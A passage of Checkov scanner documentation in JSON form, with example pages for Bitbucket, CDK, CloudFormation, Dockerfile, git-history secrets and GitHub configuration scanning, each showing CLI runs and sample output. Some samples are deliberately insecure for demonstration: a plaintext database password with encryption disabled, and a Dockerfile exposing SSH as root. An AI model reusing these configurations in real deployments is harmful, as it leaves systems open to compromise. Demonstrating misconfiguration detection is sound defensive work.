checkov.bitbucket.schemas.branch_restrictions import schema as branch_restrictions_schema\nfrom checkov.json_doc.enums import BlockType\n\n\nclass MergeRequestRequiresApproval(BaseBitbucketCheck):\n    def __init__(self):\n        name = \"Merge requests should require at least 2 approvals\"\n        id = \"CKV_BITBUCKET_1\"\n        categories = [CheckCategories.SUPPLY_CHAIN]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT\n        )\n\n    def scan_entity_conf(self, conf):\n        if branch_restrictions_schema.validate(conf):\n            for value in conf.get(\"values\", []):\n                if value.get('kind','') == 'require_approvals_to_merge':\n                    if value.get('value',0)>=2:\n                        return CheckResult.PASSED, conf\n            return CheckResult.FAILED, conf\n\n\ncheck = MergeRequestRequiresApproval()\n\n\n```\n\n### Running in CLI\n\n```bash\n#configure bitbucket personal access token\nexport APP_PASSWORD=\"ghp_abc\"\nexport BITBUCKET_USERNAME=\"username\"\nexport BITBUCKET_REPO_FULL_NAME=\"prisma/terragoat\"\n\ncheckov -d . --framework bitbucket_configuration\n```\n\n### Example output\n\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \n\n\nbitbucket_configuration scan results:\n\nPassed checks: 0, Failed checks: 2, Skipped checks: 0\n\nCheck: CKV_BITBUCKET_1: \"Merge requests should require at least 2 approvals\"\n\tFAILED for resource: /bitbucket_conf/branch_restrictions.json\n\tFile: /bitbucket_conf/branch_restrictions.json:2-66\n\n\t\t2  |     \"pagelen\": 10,\n\t\t3  |     \"values\": [\n\t\t4  |         {\n\t\t5  |             \"kind\": \"require_default_reviewer_approvals_to_merge\",\n\t\t6  |             \"users\": [],\n\t\t7  |             \"links\": {\n\t\t8  |                 \"self\": {\n\t\t9  |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110\"\n\t\t10 |                 }\n\t\t11 |             },\n\t\t12 |             \"pattern\": \"master\",\n\t\t13 |             \"value\": 1,\n\t\t14 |             \"branch_match_kind\": \"glob\",\n\t\t15 |             \"groups\": [],\n\t\t16 |             \"type\": \"branchrestriction\",\n\t\t17 |             \"id\": 26522110\n\t\t18 |         },\n\t\t19 |         {\n\t\t20 |             \"kind\": \"require_approvals_to_merge\",\n\t\t21 |             \"users\": [],\n\t\t22 |             \"links\": {\n\t\t23 |                 \"self\": {\n\t\t24 |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791\"\n\t\t25 |                 }\n\t\t26 |             },\n\t\t27 |             \"pattern\": \"master\",\n\t\t28 |             \"value\": 1,\n\t\t29 |             \"branch_match_kind\": \"glob\",\n\t\t30 |             \"groups\": [],\n\t\t31 |             \"type\": \"branchrestriction\",\n\t\t32 |             \"id\": 26520791\n\t\t33 |         },\n\t\t34 |         {\n\t\t35 |             \"kind\": \"force\",\n\t\t36 |             \"users\": [],\n\t\t37 |             \"links\": {\n\t\t38 |                 \"self\": {\n\t\t39 |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790\"\n\t\t40 |                 }\n\t\t41 |             },\n\t\t42 |             \"pattern\": \"master\",\n\t\t43 |             \"value\": null,\n\t\t44 |             \"branch_match_kind\": \"glob\",\n\t\t45 |             \"groups\": [],\n\t\t46 |             \"type\": \"branchrestriction\",\n\t\t47 |             \"id\": 26520790\n\t\t48 |         },\n\t\t49 |         {\n\t\t50 |             \"kind\": \"delete\",\n\t\t51 |             \"users\": [],\n\t\t52 |             \"links\": {\n\t\t53 |                 \"self\": {\n\t\t54 |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789\"\n\t\t55 |                 }\n\t\t56 |             },\n\t\t57 |             \"pattern\": \"master\",\n\t\t58 |             \"value\": null,\n\t\t59 |             \"branch_match_kind\": \"glob\",\n\t\t60 |             \"groups\": [],\n\t\t61 |             \"type\": \"branchrestriction\",\n\t\t62 |             \"id\": 26520789\n\t\t63 |         }\n\t\t64 |     ],\n\t\t65 |     \"page\": 1,\n\t\t66 |     \"size\": 4\n\n\nCheck: CKV_BITBUCKET_1: \"Merge requests should require at least 2 approvals\"\n\tFAILED for resource: /bitbucket_conf/project_approvals.json\n\tFile: /bitbucket_conf/project_approvals.json:2-66\n\n\t\t2  |     \"pagelen\": 10,\n\t\t3  |     \"values\": [\n\t\t4  |         {\n\t\t5  |             \"kind\": \"require_default_reviewer_approvals_to_merge\",\n\t\t6  |             \"users\": [],\n\t\t7  |             \"links\": {\n\t\t8  |                 \"self\": {\n\t\t9  |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26522110\"\n\t\t10 |                 }\n\t\t11 |             },\n\t\t12 |             \"pattern\": \"master\",\n\t\t13 |             \"value\": 1,\n\t\t14 |             \"branch_match_kind\": \"glob\",\n\t\t15 |             \"groups\": [],\n\t\t16 |             \"type\": \"branchrestriction\",\n\t\t17 |             \"id\": 26522110\n\t\t18 |         },\n\t\t19 |         {\n\t\t20 |             \"kind\": \"require_approvals_to_merge\",\n\t\t21 |             \"users\": [],\n\t\t22 |             \"links\": {\n\t\t23 |                 \"self\": {\n\t\t24 |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520791\"\n\t\t25 |                 }\n\t\t26 |             },\n\t\t27 |             \"pattern\": \"master\",\n\t\t28 |             \"value\": 1,\n\t\t29 |             \"branch_match_kind\": \"glob\",\n\t\t30 |             \"groups\": [],\n\t\t31 |             \"type\": \"branchrestriction\",\n\t\t32 |             \"id\": 26520791\n\t\t33 |         },\n\t\t34 |         {\n\t\t35 |             \"kind\": \"force\",\n\t\t36 |             \"users\": [],\n\t\t37 |             \"links\": {\n\t\t38 |                 \"self\": {\n\t\t39 |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520790\"\n\t\t40 |                 }\n\t\t41 |             },\n\t\t42 |             \"pattern\": \"master\",\n\t\t43 |             \"value\": null,\n\t\t44 |             \"branch_match_kind\": \"glob\",\n\t\t45 |             \"groups\": [],\n\t\t46 |             \"type\": \"branchrestriction\",\n\t\t47 |             \"id\": 26520790\n\t\t48 |         },\n\t\t49 |         {\n\t\t50 |             \"kind\": \"delete\",\n\t\t51 |             \"users\": [],\n\t\t52 |             \"links\": {\n\t\t53 |                 \"self\": {\n\t\t54 |                     \"href\": \"https://api.bitbucket.org/2.0/repositories/shaharsamira/terragoat2/branch-restrictions/26520789\"\n\t\t55 |                 }\n\t\t56 |             },\n\t\t57 |             \"pattern\": \"master\",\n\t\t58 |             \"value\": null,\n\t\t59 |             \"branch_match_kind\": \"glob\",\n\t\t60 |             \"groups\": [],\n\t\t61 |             \"type\": \"branchrestriction\",\n\t\t62 |             \"id\": 26520789\n\t\t63 |         }\n\t\t64 |     ],\n\t\t65 |     \"page\": 1,\n\t\t66 |     \"size\": 4\n\n```\n\nTo add more Bitbucket policies and configuration to be inspected take a look at the [Bitbucket policy contribution guide](https://www.checkov.io/6.Contribution/Contribute%20New%20Bitbucket%20Policies.html)\n"
  },
  {
    "path": "docs/7.Scan Examples/CDK.md",
    "content": "---\nlayout: default\npublished: true\ntitle: AWS CDK configuration scanning\nnav_order: 20\n---\n\n# AWS CDK configuration scanning\nCheckov supports the evaluation of policies on your CDK files by synthesizing a Cloudformation template out of the CDK code.\n\nFull list of Cloudformation policies the checks can be found [here](https://www.checkov.io/5.Policy%20Index/cloudformation.html).\n\n\n### Example misconfigured AWS CDK code \npython CDK example\n```python\n\nfrom aws_cdk import (\n    aws_s3,\n    Stack,\n)\nfrom constructs import Construct\n\n# End generated code block.\n\nclass BucketApp(Stack):\n\n    def __init__(self, scope: Construct, id: str, **kwargs) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        #\n        # RESOURCES\n        #\n\n        pipeline_artifact_bucket = aws_s3.CfnBucket(\n            self,\n            \"PipelineArtifactBucket\",\n            access_control=\"Private\",\n            bucket_encryption=aws_s3.CfnBucket.BucketEncryptionProperty(\n                server_side_encryption_configuration=[\n                    aws_s3.CfnBucket.ServerSideEncryptionRuleProperty(\n                        server_side_encryption_by_default=aws_s3.CfnBucket.ServerSideEncryptionByDefaultProperty(\n                            sse_algorithm=\"AES256\"\n                        )\n                    )\n                ]\n            ),\n            public_access_block_configuration=aws_s3.BlockPublicAccess.BLOCK_ALL\n        )\n        pipeline_artifact_bucket.cfn_options.metadata = {\n          'checkov': {\n            'skip': [\n              {\n                'id': 'CKV_AWS_18',\n                'comment': 'No need to ensure the S3 bucket has access logging enabled'\n              }\n            ]\n          }\n        }\n\n```\ntypescript CDK example\n```typescript\nconst bucket = new aws_s3.Bucket(this, 'MyBucket', {\n  versioned: true\n});\nconst cfnBucket = bucket.node.defaultChild as aws_s3.CfnBucket;\n\ncfnBucket.cfnOptions.metadata = {\n  'checkov': {\n    'skip': [\n      {\n        'id': 'CKV_AWS_18',\n        'comment': 'No need to ensure the S3 bucket has access logging enabled'\n      }\n    ]\n  }\n}\n```\nThe metadata secution contain 1 skip for CKV_AWS_18\nRun the `cdk synth` command to generate a CloudFormation template and scan it\n```json\n{\n  \"Resources\": {\n    \"MyBucketF68F3FF0\": {\n      \"Type\": \"AWS::S3::Bucket\",\n      \"Properties\": {\n        \"VersioningConfiguration\": {\n          \"Status\": \"Enabled\"\n        }\n      },\n      \"UpdateReplacePolicy\": \"Retain\",\n      \"DeletionPolicy\": \"Retain\",\n      \"Metadata\": {\n        \"checkov\": {\n          \"skip\": [\n            {\n              \"id\": \"CKV_AWS_18\",\n              \"comment\": \"No need to ensure the S3 bucket has access logging enabled\"\n            }\n          ]\n        }\n      }\n    },\n    \"CDKMetadata\": {\n      \"Type\": \"AWS::CDK::Metadata\",\n      \"Properties\": {\n        \"Analytics\": \"v2:deflate64:f\"\n      },\n      \"Metadata\": {\n        \"aws:cdk:path\": \"AppStack/CDKMetadata/Default\"\n      },\n      \"Condition\": \"CDKMetadataAvailable\"\n    }\n  },\n  \"Conditions\": {\n    \"CDKMetadataAvailable\": {\n      \"Fn::Or\": [\n        {\n          \"Fn::Or\": [\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"af-south-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ap-east-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ap-northeast-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ap-northeast-2\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ap-south-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ap-southeast-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ap-southeast-2\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"ca-central-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"cn-north-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"cn-northwest-1\"\n              ]\n            }\n          ]\n        },\n        {\n          \"Fn::Or\": [\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"eu-central-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"eu-north-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"eu-south-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"eu-west-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"eu-west-2\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"eu-west-3\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"me-south-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"sa-east-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"us-east-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"us-east-2\"\n              ]\n            }\n          ]\n        },\n        {\n          \"Fn::Or\": [\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"us-west-1\"\n              ]\n            },\n            {\n              \"Fn::Equals\": [\n                {\n                  \"Ref\": \"AWS::Region\"\n                },\n                \"us-west-2\"\n              ]\n            }\n          ]\n        }\n      ]\n    }\n  },\n  \"Parameters\": {\n    \"BootstrapVersion\": {\n      \"Type\": \"AWS::SSM::Parameter::Value<String>\",\n      \"Default\": \"/cdk-bootstrap/hnb659fds/version\",\n      \"Description\": \"Version of the CDK Bootstrap resources in this environment, automatically retrieved from SSM Parameter Store. [cdk:skip]\"\n    }\n  },\n  \"Rules\": {\n    \"CheckBootstrapVersion\": {\n      \"Assertions\": [\n        {\n          \"Assert\": {\n            \"Fn::Not\": [\n              {\n                \"Fn::Contains\": [\n                  [\n                    \"1\",\n                    \"2\",\n                    \"3\",\n                    \"4\",\n                    \"5\"\n                  ],\n                  {\n                    \"Ref\": \"BootstrapVersion\"\n                  }\n                ]\n              }\n            ]\n          },\n          \"AssertDescription\": \"CDK bootstrap stack version 6 required. Please run 'cdk bootstrap' with a recent version of the CDK CLI.\"\n        }\n      ]\n    }\n  }\n}\n    ...\n```\n### Example output\n\n```bash\n$ checkov -f cdk.out/AppStack.template.json\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 2.0.727\n\ncloudformation scan results:\n\nPassed checks: 3, Failed checks: 5, Skipped checks: 1\n\n...\n\nCheck: CKV_AWS_18: \"Ensure the S3 bucket has access logging enabled\"\n        SKIPPED for resource: AWS::S3::Bucket.MyBucketF68F3FF0\n        Suppress comment: Ensure the S3 bucket has access logging enabled\n        File: /cfn.json:3-22\n        Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/s3-policies/s3-13-enable-logging\n\n```\n"
  },
  {
    "path": "docs/7.Scan Examples/Cloudformation.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Cloudformation configuration scanning\nnav_order: 20\n---\n\n# Cloudformation configuration scanning\nCheckov supports the evaluation of policies on your Cloudformation files.\nWhen using checkov to scan a directory that contains a Cloudformation template it will validate if the file is compliant with AWS best practices such as making sure S3 buckets are encrypted, HTTPS is being used, and more.  \n\nFull list of Cloudformation policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/cloudformation.html).\n\n\n### Example misconfigured Cloudformation\n\n```yaml\nResources:\n  MyDB0:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n  MyDB1:\n    Type: 'AWS::RDS::DBInstance'\n    Properties:\n      DBName: 'mydb'\n      DBInstanceClass: 'db.t3.micro'\n      Engine: 'mysql'\n      MasterUsername: 'master'\n      MasterUserPassword: 'password'\n      StorageEncrypted: false\n\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework cloudformation\n```\n\n### Example output\n\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 2.0.723 \n\ncloudformation scan results:\n\nPassed checks: 2, Failed checks: 6, Skipped checks: 0\n\nCheck: CKV_AWS_17: \"Ensure all data stored in RDS is not publicly accessible\"\n   PASSED for resource: AWS::RDS::DBInstance.MyDB0\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/public-policies/public-2\n\nCheck: CKV_AWS_17: \"Ensure all data stored in RDS is not publicly accessible\"\n   PASSED for resource: AWS::RDS::DBInstance.MyDB1\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/public-policies/public-2\n\nCheck: CKV_AWS_161: \"Ensure RDS database has IAM authentication enabled\"\n   FAILED for resource: AWS::RDS::DBInstance.MyDB0\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-iam-policies/ensure-rds-database-has-iam-authentication-enabled\n\n      2 |   MyDB0:\n      3 |     Type: 'AWS::RDS::DBInstance'\n      4 |     Properties:\n      5 |       DBName: 'mydb'\n      6 |       DBInstanceClass: 'db.t3.micro'\n      7 |       Engine: 'mysql'\n      8 |       MasterUsername: 'master'\n      9 |       MasterUserPassword: 'password'\n\n\nCheck: CKV_AWS_157: \"Ensure that RDS instances have Multi-AZ enabled\"\n   FAILED for resource: AWS::RDS::DBInstance.MyDB0\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-73\n\n      2 |   MyDB0:\n      3 |     Type: 'AWS::RDS::DBInstance'\n      4 |     Properties:\n      5 |       DBName: 'mydb'\n      6 |       DBInstanceClass: 'db.t3.micro'\n      7 |       Engine: 'mysql'\n      8 |       MasterUsername: 'master'\n      9 |       MasterUserPassword: 'password'\n\n\nCheck: CKV_AWS_16: \"Ensure all data stored in the RDS is securely encrypted at rest\"\n   FAILED for resource: AWS::RDS::DBInstance.MyDB0\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:2-9\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-4\n\n      2 |   MyDB0:\n      3 |     Type: 'AWS::RDS::DBInstance'\n      4 |     Properties:\n      5 |       DBName: 'mydb'\n      6 |       DBInstanceClass: 'db.t3.micro'\n      7 |       Engine: 'mysql'\n      8 |       MasterUsername: 'master'\n      9 |       MasterUserPassword: 'password'\n\n\nCheck: CKV_AWS_161: \"Ensure RDS database has IAM authentication enabled\"\n   FAILED for resource: AWS::RDS::DBInstance.MyDB1\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-iam-policies/ensure-rds-database-has-iam-authentication-enabled\n\n      10 |   MyDB1:\n      11 |     Type: 'AWS::RDS::DBInstance'\n      12 |     Properties:\n      13 |       DBName: 'mydb'\n      14 |       DBInstanceClass: 'db.t3.micro'\n      15 |       Engine: 'mysql'\n      16 |       MasterUsername: 'master'\n      17 |       MasterUserPassword: 'password'\n      18 |       StorageEncrypted: false\n\n\nCheck: CKV_AWS_157: \"Ensure that RDS instances have Multi-AZ enabled\"\n   FAILED for resource: AWS::RDS::DBInstance.MyDB1\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-73\n\n      10 |   MyDB1:\n      11 |     Type: 'AWS::RDS::DBInstance'\n      12 |     Properties:\n      13 |       DBName: 'mydb'\n      14 |       DBInstanceClass: 'db.t3.micro'\n      15 |       Engine: 'mysql'\n      16 |       MasterUsername: 'master'\n      17 |       MasterUserPassword: 'password'\n      18 |       StorageEncrypted: false\n\n\nCheck: CKV_AWS_16: \"Ensure all data stored in the RDS is securely encrypted at rest\"\n   FAILED for resource: AWS::RDS::DBInstance.MyDB1\n   File: /example_RDSEncryption/RDSEncryption-FAIL.yaml:10-18\n   Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-general-policies/general-4\n\n      10 |   MyDB1:\n      11 |     Type: 'AWS::RDS::DBInstance'\n      12 |     Properties:\n      13 |       DBName: 'mydb'\n      14 |       DBInstanceClass: 'db.t3.micro'\n      15 |       Engine: 'mysql'\n      16 |       MasterUsername: 'master'\n      17 |       MasterUserPassword: 'password'\n      18 |       StorageEncrypted: false\n\n\n\n```\n\n## The Cloudformation Graph\nCheckov follows the CFN [template reference](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-reference.html) where some resource can have an attribute reference that will result in the final state, or a resource can have a dependency in another resource.  \n\nFor example the following code:\n```yaml\nDescription: My super cool Lambda\nParameters:\n  ParamTracingConfig:\n    Description: Active tracing config\n    Type: String\n    Default: \"PassThrough\"\nResources:\n  WrongTracingConfigValueLambdaFunctionWithRef:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      FunctionName: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n      Runtime: nodejs12.x\n      Role: !GetAtt IAM4Lambda.Arn\n      Handler: exports.test\n      Code:\n        ZipFile: |\n          console.log(\"Hello World\");\n      Tags:\n        - Key: Name\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}-analysis\"\n        - Key: Environment\n          Value: !Sub \"${AWS::AccountId}-${CompanyName}-${Environment}\"\n      Tracing_config:\n        Mode: !Ref ParamTracingConfig\n\n```\n\nContains the lambda resource that has the attribute `Tracing_config` that references the value of the parameter `ParamTracingConfig`. Those references are computes in a graph connecting the different cfn elements so we would be able to analyze if the parameter that is compliant or not with best practices.   \n"
  },
  {
    "path": "docs/7.Scan Examples/Dockerfile.md",
    "content": "---\nlayout: default\npublished: true\ntitle: Dockerfile configuration scanning\nnav_order: 20\n---\n\n# Dockerfile configuration scanning\nCheckov supports the evaluation of policies on your Dockerfile files.\nWhen using checkov to scan a directory that contains Dockerfile it will validate if the file is compliant with Docker best practices such as not using root user, making sure health check exists and not exposing SSH port.  \n\nFull list of Dockerfile policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/dockerfile.html).\n\n\n### Example misconfigured Dockerfile\n\n```dockerfile\nFROM node:alpine\nWORKDIR /usr/src/app\nCOPY package*.json ./\nRUN npm install\nCOPY . .\nEXPOSE 3000 22\nHEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1\nCMD [\"node\",\"app.js\"]\n```\n### Running in CLI\n\n```bash\ncheckov -d . --framework dockerfile\n```\n\n### Example output\n\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: x.x.x \n\ndockerfile scan results:\n\nPassed checks: 3, Failed checks: 2, Skipped checks: 0\n\nCheck: CKV_DOCKER_5: \"Ensure update instructions are not use alone in the Dockerfile\"\n\tPASSED for resource: /Dockerfile.\n\tFile: /Dockerfile:1-8\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/docker-policy-index/ensure-update-instructions-are-not-used-alone-in-the-dockerfile\n\nCheck: CKV_DOCKER_7: \"Ensure the base image uses a non latest version tag\"\n\tPASSED for resource: /Dockerfile.\n\tFile: /Dockerfile:1-8\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-the-base-image-uses-a-non-latest-version-tag\n\nCheck: CKV_DOCKER_2: \"Ensure that HEALTHCHECK instructions have been added to container images\"\n\tPASSED for resource: /Dockerfile.HEALTHCHECK\n\tFile: /Dockerfile:7-7\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-that-healthcheck-instructions-have-been-added-to-container-images\n\nCheck: CKV_DOCKER_1: \"Ensure port 22 is not exposed\"\n\tFAILED for resource: /Dockerfile.EXPOSE\n\tFile: /Dockerfile:6-6\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-port-22-is-not-exposed\n\n\t\t6 | EXPOSE 3000 22\n\n\nCheck: CKV_DOCKER_3: \"Ensure that a user for the container has been created\"\n\tFAILED for resource: /Dockerfile.\n\tFile: /Dockerfile:1-8\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/docker-policies/ensure-that-a-user-for-the-container-has-been-created\n\n\t\t1 | FROM node:alpine\n\t\t2 | WORKDIR /usr/src/app\n\t\t3 | COPY package*.json ./\n\t\t4 | RUN npm install\n\t\t5 | COPY . .\n\t\t6 | EXPOSE 3000 22\n\t\t7 | HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1\n\t\t8 | CMD [\"node\",\"app.js\"]\n```\n\n"
  },
  {
    "path": "docs/7.Scan Examples/Git History.md",
    "content": "---\nlayout: default\npublished: false\ntitle: Git History\nnav_order: 20\n---\n\n# Git History\nCheckov supports scanning of secrets in git history to identify and flag secrets, that might not be in the head commit of the branch but are still visible by accessing the git history of the repo.\nCheckov fetches all the available commits and uses same scan as the Checkov 'secrets' checkov framework to search for secrets in the diff available from git history.\nEach secret found can be traced to the first commit in which it appeared and the last commit that contained the secret if it was removed.\n\n\n## Git History scanning\n\nGit history scan uses the same signatures and models as a regular secrets scan.\nThe only difference is that the root directory is the path to either the root git directory or the bare git repo.\nUsing the `--scan-secrets-history` flag will scan git history for secrets only. This will not scan for other issues such as IaC misconfiguration. \nUse `--secrets-history-timeout` to set how long the secrets scan will run on history before stopping. If the timeout was not enough to finish the run, no results will be returned.  The default is `12h`.\n\nA run with a timeout of `12h` by default:\n```bash\ncheckov -d <git dir> --scan-secrets-history --bc-api-key <your_api_key> --repo-id <repo/name>\n```\n\nA run with a timeout of `1h`:\n```bash\ncheckov -d <git dir> --scan-secrets-history --secrets-history-timeout 1h --bc-api-key <your_api_key> --repo-id <repo/name>\n```\n\n### Example output\non https://github.com/bridgecrewio/detect-secrets repo:\n```bash\n       _               _              \n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V / \n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/  \n                                      \nBy Prisma Cloud | version: 2.3.172 \n\n\nsecrets scan results:\n\nPassed checks: 0, Failed checks: 320, Skipped checks: 0\n\nCheck: CKV_SECRET_6: \"Base64 High Entropy String\"\n\tFAILED for resource: 732a8470a9623e89355d477688afd7f8f4d55e03\n\tSeverity: LOW\n\tFile: /tests/plugins/azure_storage_key_test.py:12-13; Commit Added: 018c9d1ee2a152a82c612ee82c0cd952a4f3eae4\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/secrets-policies/secrets-policy-index/git-secrets-6\n\n\t\t12 | 'Accoun*********************************************************************************************',  # noqa: E501\n\nCheck: CKV_SECRET_6: \"Base64 High Entropy String\"\n\tFAILED for resource: b57a3ad258d7674d2005a53aaa67460e25791f71\n\tSeverity: LOW\n\tFile: /tests/plugins/keyword_test.py:22-23; Commit Added: 01cde918f5f471cb0e03964db37f905e5bcdd1cf; Commit Removed: e01d818ad118b0b1fccb1cc9b406e7aa1539e242\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/secrets-policies/secrets-policy-index/git-secrets-6\n\n\t\t22 | 'PASSWORD = \"ve********\"'\n\nCheck: CKV_SECRET_2: \"AWS Access Key\"\n\tFAILED for resource: d70eab08607a4d05faa2d0d6647206599e9abc65\n\tSeverity: LOW\n\tFile: /test_diff/test_data/add_sample.diff:10-11; Commit Added: 07d52374f6d1ccc8709069be43139a6ba7ae544b\n\tGuide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/secrets-policies/secrets-policy-index/git-secrets-2\n\t\n...\n\n```"
  },
  {
    "path": "docs/7.Scan Examples/Github.md",
    "content": "---\nlayout: default\npublished: true\ntitle: GitHub configuration scanning\nnav_order: 20\n---\n\n# GitHub configuration scanning\nCheckov supports the evaluation of policies on your GitHub organization and repositories settings.\nWhen using checkov with GitHub token it can collect your current org settings and validate it complies with GitHub security best practices such as having 2FA defined, having SSO and more.\nFull list of github organization and repository settings related checks can be found [here](https://www.checkov.io/5.Policy%20Index/github_configuration.html).\n\n## GitHub scanning configuration\n\n| Environment Variable          | Default value             | Description                                                                                                                                   |\n|-------------|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------|\n| CKV_GITHUB_CONFIG_FETCH_DATA| \"True\"                    | checkov will try to fetch GitHub configuration from API by default (unless no access token provided)                                          |\n| CKV_GITHUB_CONF_DIR_NAME   | \"github_conf\"             | checkov will create a new directory named 